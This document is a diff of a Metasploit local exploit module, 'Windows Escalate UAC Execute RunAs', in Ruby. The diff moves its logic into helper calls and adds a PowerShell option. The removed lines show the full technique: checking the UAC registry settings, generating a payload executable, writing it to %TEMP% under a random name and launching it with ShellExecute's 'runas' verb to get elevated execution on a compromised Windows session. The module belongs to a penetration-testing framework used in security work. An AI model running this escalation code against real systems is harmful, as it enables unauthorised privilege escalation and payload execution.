|
4 | 4 | ##
|
5 | 5 |
|
6 | 6 | require 'msf/core'
|
7 |
| -require 'msf/core/exploit/exe' |
8 | 7 |
|
9 | 8 | class Metasploit3 < Msf::Exploit::Local
|
10 | 9 | Rank = ExcellentRanking
|
11 | 10 |
|
12 |
| - include Exploit::EXE |
13 |
| - include Post::File |
| 11 | + include Post::Windows::Priv |
| 12 | + include Post::Windows::Runas |
14 | 13 |
|
15 |
| - def initialize(info={}) |
16 |
| - super( update_info( info, |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
17 | 16 | 'Name' => 'Windows Escalate UAC Execute RunAs',
|
18 |
| - 'Description' => %q{ |
| 17 | + 'Description' => %q( |
19 | 18 | This module will attempt to elevate execution level using
|
20 | 19 | the ShellExecute undocumented RunAs flag to bypass low
|
21 | 20 | UAC settings.
|
22 |
| - }, |
| 21 | + ), |
23 | 22 | 'License' => MSF_LICENSE,
|
24 |
| - 'Author' => [ 'mubix' ], |
25 |
| - 'Platform' => [ 'win' ], |
26 |
| - 'SessionTypes' => [ 'meterpreter' ], |
27 |
| - 'Targets' => [ [ 'Windows', {} ] ], |
| 23 | + 'Author' => [ |
| 24 | + 'mubix', # Original technique |
| 25 | + 'b00stfr3ak' # Added powershell option |
| 26 | + ], |
| 27 | + 'Platform' => ['win'], |
| 28 | + 'SessionTypes' => ['meterpreter'], |
| 29 | + 'Targets' => [['Windows', {}]], |
28 | 30 | 'DefaultTarget' => 0,
|
29 | 31 | 'References' => [
|
30 |
| - [ 'URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html' ] |
| 32 | + ['URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html'] |
31 | 33 | ],
|
32 |
| - 'DisclosureDate'=> "Jan 3 2012" |
| 34 | + 'DisclosureDate' => 'Jan 3 2012' |
33 | 35 | ))
|
34 | 36 |
|
35 | 37 | register_options([
|
36 |
| - OptString.new("FILENAME", [ false, "File name on disk"]), |
37 |
| - OptString.new("PATH", [ false, "Location on disk %TEMP% used if not set" ]), |
38 |
| - OptBool.new("UPLOAD", [ true, "Should the payload be uploaded?", true ]) |
| 38 | + OptString.new('FILENAME', [false, 'File name on disk']), |
| 39 | + OptString.new('PATH', [false, 'Location on disk, %TEMP% used if not set']), |
| 40 | + OptBool.new('UPLOAD', [true, 'Should the payload be uploaded?', true]), |
| 41 | + OptEnum.new('TECHNIQUE', [true, 'Technique to use', 'EXE', %w(PSH EXE)]), |
39 | 42 | ])
|
40 |
| - |
41 | 43 | end
|
42 | 44 |
|
43 | 45 | def exploit
|
44 |
| - |
45 |
| - root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") |
46 |
| - open_key = session.sys.registry.open_key(root_key, base_key) |
47 |
| - lua_setting = open_key.query_value('EnableLUA') |
48 |
| - |
49 |
| - if lua_setting.data == 1 |
50 |
| - print_status "UAC is Enabled, checking level..." |
| 46 | + if is_uac_enabled? |
| 47 | + print_status 'UAC is Enabled, checking level...' |
| 48 | + case get_uac_level |
| 49 | + when UAC_NO_PROMPT |
| 50 | + print_good 'UAC is not enabled, no prompt for the user' |
| 51 | + else |
| 52 | + print_status "The user will be prompted, wait for them to click 'Ok'" |
| 53 | + end |
51 | 54 | else
|
52 |
| - print_good "UAC is not enabled, no prompt for the user" |
53 |
| - end |
54 |
| - |
55 |
| - uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') |
56 |
| - |
57 |
| - case uac_level.data |
58 |
| - when 2 |
59 |
| - print_status "UAC is set to 'Always Notify'" |
60 |
| - print_status "The user will be prompted, wait for them to click 'Ok'" |
61 |
| - when 5 |
62 |
| - print_debug "UAC is set to Default" |
63 |
| - print_debug "The user will be prompted, wait for them to click 'Ok'" |
64 |
| - when 0 |
65 |
| - print_good "UAC is not enabled, no prompt for the user" |
| 55 | + print_good 'UAC is not enabled, no prompt for the user' |
66 | 56 | end
|
67 | 57 |
|
68 |
| - |
69 | 58 | #
|
70 | 59 | # Generate payload and random names for upload
|
71 | 60 | #
|
72 |
| - payload = generate_payload_exe |
73 |
| - |
74 |
| - if datastore["FILENAME"] |
75 |
| - payload_filename = datastore["FILENAME"] |
76 |
| - else |
77 |
| - payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" |
| 61 | + case datastore['TECHNIQUE'] |
| 62 | + when 'EXE' |
| 63 | + execute_exe(datastore['FILENAME'], datastore['PATH'], datastore['UPLOAD']) |
| 64 | + when 'PSH' |
| 65 | + execute_psh |
78 | 66 | end
|
79 |
| - |
80 |
| - if datastore["PATH"] |
81 |
| - payload_path = datastore["PATH"] |
82 |
| - else |
83 |
| - payload_path = session.sys.config.getenv('TEMP') |
84 |
| - end |
85 |
| - |
86 |
| - cmd_location = "#{payload_path}\\#{payload_filename}" |
87 |
| - |
88 |
| - if datastore["UPLOAD"] |
89 |
| - print_status("Uploading #{payload_filename} - #{payload.length} bytes to the filesystem...") |
90 |
| - fd = session.fs.file.new(cmd_location, "wb") |
91 |
| - fd.write(payload) |
92 |
| - fd.close |
93 |
| - end |
94 |
| - |
95 |
| - session.railgun.shell32.ShellExecuteA(nil,"runas",cmd_location,nil,nil,5) |
96 |
| - |
97 | 67 | end
|
98 | 68 | end
|
99 |
| - |
0 commit comments